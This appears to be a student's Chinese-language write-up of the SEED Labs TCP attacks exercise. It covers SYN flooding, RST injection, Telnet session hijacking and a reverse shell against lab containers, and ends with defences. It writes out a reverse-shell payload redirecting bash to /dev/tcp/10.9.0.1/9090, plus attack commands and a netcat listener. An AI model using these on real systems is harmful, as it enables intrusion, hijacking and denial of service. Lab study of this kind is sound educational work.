TCP协议攻击

实验环境

容器

我使用的是 Ubuntu 24.04.4，基本环境配置见ARP攻击原理学习

启动实验前，对容器环境进行清理，避免之前的网络配置干扰

1

sudo docker system prune -f

进入实验目录并启动

1
2


cd seed-labs/category-network/TCP_Attacks/Labsetup
sudo docker compose up -d

遇到问题：报错Error response from daemon: Conflict. The container name "/victim-10.9.0.5" is already in use by container "fd7c256895debaee38837cb83046b960c835ac339d2615eeb954516b83a15eda". You have to remove (or rename) that container to be able to reuse that name.

这是因为之前的容器没有停止，而上面的清除命令只会清理无用的网络和停止的容器，最终导致旧容器没有被清理，开启新容器的时候命名冲突。删除旧容器即可
1
sudo docker rm -f victim-10.9.0.5

网络结构包括受害者、攻击者、普通用户

节点	IP 地址	作用
攻击者	`10.9.0.1`	发送伪造 TCP 报文进行攻击
受害者	`10.9.0.5`	被攻击的 Telnet 客户端
普通用户	`10.9.0.6`	Telnet 服务端，会话劫持和反向 Shell 的目标

打开三个终端分别进入对应的容器

攻击者：

1

docker exec -it seed-attacker /bin/bash

受害者：

1

docker exec -it victim-10.9.0.5 /bin/bash

普通用户：

1

docker exec -it user1-10.9.0.6 /bin/bash

SYN 洪泛攻击

正常的TCP通信是客户端向服务器发送 SYN，服务器回复 SYN-ACK，然后等待客户端发送 ACK ，收到就连接成功，这三次发送也就是三次握手

但如果攻击者一直发送大量 SYN 包而且不发送ACK完成握手，服务器就会保留大量半连接记录，数量多到半连接队列被占满时，如果正常用户需要连接服务器，就会因为服务器资源被占用导致没有办法连接

攻击者

进入攻击者容器，安装编译环境

1
2


apt-get update
apt-get install gcc libc6-dev -y

编译攻击程序

1
2


cd volumes
gcc synflood.c -o synflood

向受害者的 Telnet 端口发送大量 SYN 包

1

./synflood 10.9.0.5 23

验证

在普通用户容器里用telnet连接受害者，可以看到一直卡在尝试阶段，无法成功连接

1

telnet 10.9.0.5

在受害者容器中查看当前 TCP 连接状态，可以看到很多SYN_RECV连接

1

netstat -nat

SYN_RECV 表示服务器收到了 SYN 并回复 SYN-ACK，但还没有收到客户端的 ACK。大量这样的状态说明服务器半连接队列被占用，而telnet无法连接说明队列已经被占满了，导致正常请求进不去，这就是 SYN 洪泛攻击的效果

TCP 重置攻击

TCP 连接建立后，只要通信一方收到看起来合法的 RST 包，就会将连接关闭

攻击者如果能伪造出源 IP、目标 IP、端口和序列号都和当前连接状态相同的 RST 报文，就能强行中断受害者与用户的连接

建立连接

在受害者容器中连接普通用户容器

1

telnet 10.9.0.6

攻击者

这里的脚本

输入ip addr确认攻击者容器的网卡名，找到 10.9.0.1 对应的网卡，我这里是叫br-4e1873a46169

打开 reset_auto.py 和 hijacking_auto.py，把代码末尾 sniff() 函数中的 iface 改成实际网卡名，这里的网卡名必须和本机环境一致，否则脚本可能运行正常，但实际抓不到目标流量

1

sniff(iface='br-4e1873a46169', filter=f, prn=spoof_pkt)

在攻击者容器中运行重置攻击脚本

1

python3 reset_auto.py 10.9.0.5 10.9.0.6

脚本会监听 10.9.0.5 和 10.9.0.6 之间的 TCP 流量，并根据捕获到的数据包构造对应的 RST 报文

验证

回到受害者的 Telnet 界面，随便按下一个键触发通信

如果攻击成功，连接会被强制关闭

这说明攻击者伪造的 RST 包被当前 TCP 会话接受，Telnet 连接被远程关闭

TCP 会话劫持

TCP 会话劫持的目标不是断开连接，而是向已有连接中注入数据。Telnet 这种明文协议没有额外的加密和完整性保护，只要攻击者能构造出符合当前 TCP 状态的数据包，服务端就可能把注入内容当作真实客户端发送的数据处理

本实验中，攻击者会劫持 10.9.0.5 到 10.9.0.6 的 Telnet 会话，并向服务端注入命令，让服务端创建 /tmp/success 文件

建立连接

在受害者容器中登录普通用户容器

1

telnet 10.9.0.6

登录账号为 seed，密码为 dees

攻击者

在攻击者容器中运行会话劫持脚本

1

python3 hijacking_auto.py 10.9.0.5 10.9.0.6

脚本会等待目标连接产生数据包，然后根据当前连接状态构造注入包。这里脚本设置了序列号偏移量，所以需要在受害者 Telnet 界面中连续输入 10 个字符来触发攻击

验证

在受害者 Telnet 界面中连续输入 10 个字符

然后在普通用户容器中查看 /tmp/success 是否被创建

1

ls -l /tmp/success

如果能够看到 /tmp/success 文件，说明攻击者注入的命令已经被 10.9.0.6 执行，会话劫持成功

反向 Shell 攻击

反向 Shell 是在会话劫持基础上的进一步利用。前面的会话劫持只是注入一条创建文件的命令，如果把注入内容改成反向连接命令，就可以让目标主机主动连接攻击者，并把命令执行环境交给攻击者

这里的攻击依然发生在实验容器网络中，目标是让 10.9.0.6 主动连接攻击者 10.9.0.1 的 9090 端口

修改脚本

打开 hijacking_auto.py，注释掉原来的 touch 命令，改为反向 Shell 命令

1

data = "\n/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"

这条命令会让目标主机启动一个交互式 Bash，并把输入输出重定向到攻击者的 9090 端口

攻击者监听

在攻击者容器中新开一个终端窗口，监听 9090 端口

1

nc -lnv 9090

执行劫持

在攻击者原来的终端中运行会话劫持脚本

1

python3 hijacking_auto.py 10.9.0.5 10.9.0.6

回到受害者 Telnet 界面，连续输入 10 个字符触发脚本注入

验证

回到攻击者监听 9090 端口的窗口，如果攻击成功，可以看到来自 10.9.0.6 的连接，并获得目标主机的命令执行环境

1
2
3


whoami
hostname
ip addr

这说明攻击者已经通过 TCP 会话劫持向 Telnet 会话中注入了反向 Shell 命令，并让目标主机主动连接攻击者

实验结论

本次实验展示了 TCP 协议在不同场景下可能受到的攻击方式。SYN 洪泛攻击利用的是连接建立阶段的半连接状态，TCP Reset 攻击利用的是 RST 报文对已有连接的控制能力，TCP 会话劫持利用的是明文协议和 TCP 状态可伪造的问题，反向 Shell 则是在命令注入成功后的进一步利用

这几个实验的共同点是攻击者都需要让伪造数据包看起来符合当前 TCP 状态。源 IP、目标 IP、端口、序列号和确认号只要有关键字段不匹配，目标主机就可能直接丢弃数据包

从实验过程可以看出，TCP 本身只负责可靠传输，并不会验证通信双方的真实身份。对于 Telnet 这类明文协议来说，一旦攻击者能够监听或伪造会话数据，连接就很容易被干扰或劫持。实际环境中通常需要依赖 SSH、TLS、SYN Cookie、随机化初始序列号、防火墙规则等机制降低这类攻击的风险